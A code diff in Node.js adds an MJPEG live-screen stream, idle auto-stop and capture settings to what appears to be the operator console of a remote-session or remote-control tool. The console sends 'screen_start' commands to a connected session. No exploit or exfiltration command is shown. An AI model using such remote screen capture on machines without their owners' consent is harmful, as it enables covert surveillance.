  res.writeHead(200, { 'Content-Type': 'application/json', 'Cache-Control': 'no-store' });
58
127
  res.end(JSON.stringify({ error: lastError, count: frameCount }));
@@ -72,8 +141,12 @@ function createScreenViewer(port = 5555) {
72
141
  res.end();
73
142
  });
74
143
 
75
- return {
144
+ const viewer = {
76
145
  port,
146
+ url: `http://127.0.0.1:${port}/`,
147
+ on(event, fn) {
148
+ emitter.on(event, fn);
149
+ },
77
150
  start() {
78
151
  return new Promise((resolve, reject) => {
79
152
  server.once('error', reject);
@@ -81,6 +154,15 @@ function createScreenViewer(port = 5555) {
81
154
  });
82
155
  },
83
156
  stop() {
157
+ clearIdleTimer();
158
+ for (const client of streamClients) {
159
+ try {
160
+ client.end();
161
+ } catch {
162
+ // ignore
163
+ }
164
+ }
165
+ streamClients.clear();
84
166
  return new Promise((resolve) => {
85
167
  server.close(() => resolve());
86
168
  });
@@ -92,12 +174,15 @@ function createScreenViewer(port = 5555) {
92
174
  }
93
175
  if (base64) {
94
176
  latestFrame = base64;
177
+ latestFrameBinary = Buffer.from(base64, 'base64');
95
178
  frameCount += 1;
96
179
  lastError = null;
180
+ pushFrameToClients(latestFrameBinary);
97
181
  }
98
182
  },
99
- url: `http://127.0.0.1:${port}/`,
100
183
  };
184
+
185
+ return viewer;
101
186
  }
102
187
 
103
188
  module.exports = { createScreenViewer };
@@ -67,30 +67,62 @@ async function runInteractiveShell(session, cli) {
67
67
  async function runLiveScreen(session, inp) {
68
68
  const parts = inp.trim().split(/\s+/);
69
69
  const portArg = parts[1] && /^\d+$/.test(parts[1]) ? Number(parts[1]) : null;
70
- const port = portArg || (session.config && session.config.screen && session.config.screen.viewerPort) || 5555;
71
- const fps = (session.config && session.config.screen && session.config.screen.fps) || 3;
70
+ const screenConf = (session.config && session.config.screen) || {};
71
+ const port = portArg || screenConf.viewerPort || 5555;
72
+ const fps = screenConf.fps || 8;
73
+ const idleStopSec = screenConf.idleStopSec || 45;
72
74
 
73
- const viewer = createScreenViewer(port);
75
+ const viewer = createScreenViewer(port, { idleStopSec });
76
+
77
+ let lastErrorAt = 0;
78
+ let stopRequested = false;
74
79
 
75
80
  session.setScreenFrameHandler((msg) => {
76
81
  viewer.updateFrame(msg.body, msg.meta || {});
77
82
  if (msg.meta && msg.meta.error) {
78
- process.stdout.write(`\r[!] Screen capture error: ${msg.meta.error}\n`);
83
+ const now = Date.now();
84
+ if (now - lastErrorAt >= 5000) {
85
+ lastErrorAt = now;
86
+ process.stdout.write(`\r[!] Screen capture error: ${msg.meta.error}\n`);
87
+ }
79
88
  }
80
89
  });
81
90
 
82
91
  try {
83
92
  await viewer.start();
84
- const startResp = await session.sendCommand('screen_start', '', { fps }, { timeoutMs: 30000 });
93
+
94
+ let idleResolve = null;
95
+ const idlePromise = new Promise((resolve) => {
96
+ idleResolve = resolve;
97
+ });
98
+
99
+ viewer.on('idle', () => {
100
+ if (!stopRequested) {
101
+ console.log(`\n[*] No viewer connected for ${idleStopSec}s — stopping live screen.`);
102
+ stopRequested = true;
103
+ if (idleResolve) idleResolve();
104
+ }
105
+ });
106
+
107
+ const startResp = await session.sendCommand('screen_start', '', {
108
+ fps,
109
+ maxWidth: screenConf.maxWidth,
110
+ maxHeight: screenConf.maxHeight,
111
+ jpegQuality: screenConf.jpegQuality,
112
+ minFps: screenConf.minFps,
113
+ dropFrames: screenConf.dropFrames,
114
+ display: screenConf.display,
115
+ }, { timeoutMs: 30000 });
116
+
85
117
  if (startResp.status === 'error') {
86
118
  console.log(startResp.body);
87
119
  return 'continue';
88
120
  }
89
121
 
90
122
  console.log(`\n[*] Live screen: ${viewer.url}`);
91
- console.log('[*] Open that URL in your browser. Press Enter here to stop.\n');
123
+ console.log('[*] MJPEG stream at /stream — open the URL in your browser. Press Enter to stop.\n');
92
124
 
93
- await new Promise((resolve) => {
125
+ const enterPromise = new Promise((resolve) => {
94
126
  const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
95
127
  rl.once('line', () => {
96
128
  rl.close();
@@ -98,6 +130,9 @@ async function runLiveScreen(session, inp) {
98
130
  });
99
131
  });
100
132
 
133
+ await Promise.race([enterPromise, idlePromise]);
134
+
135
+ stopRequested = true;
101
136
  try {
102
137
  await session.sendCommand('screen_stop');
103
138
  } catch {
@@ -43,10 +43,15 @@ const DEFAULTS = {
43
43
  screenLive: true,
44
44
  },
45
45
  screen: {
46
- fps: 3,
46
+ fps: 8,
47
+ maxWidth: 1920,
48
+ maxHeight: 1080,
49
+ jpegQuality: 4,
47
50
  viewerPort: 5555,
48
51
  display: ':0',
49
- size: '1280x720',
52
+ dropFrames: true,
53
+ minFps: 4,
54
+ idleStopSec: 45,
50
55
  },
51
56
  lab: {
52
57
  mode: false,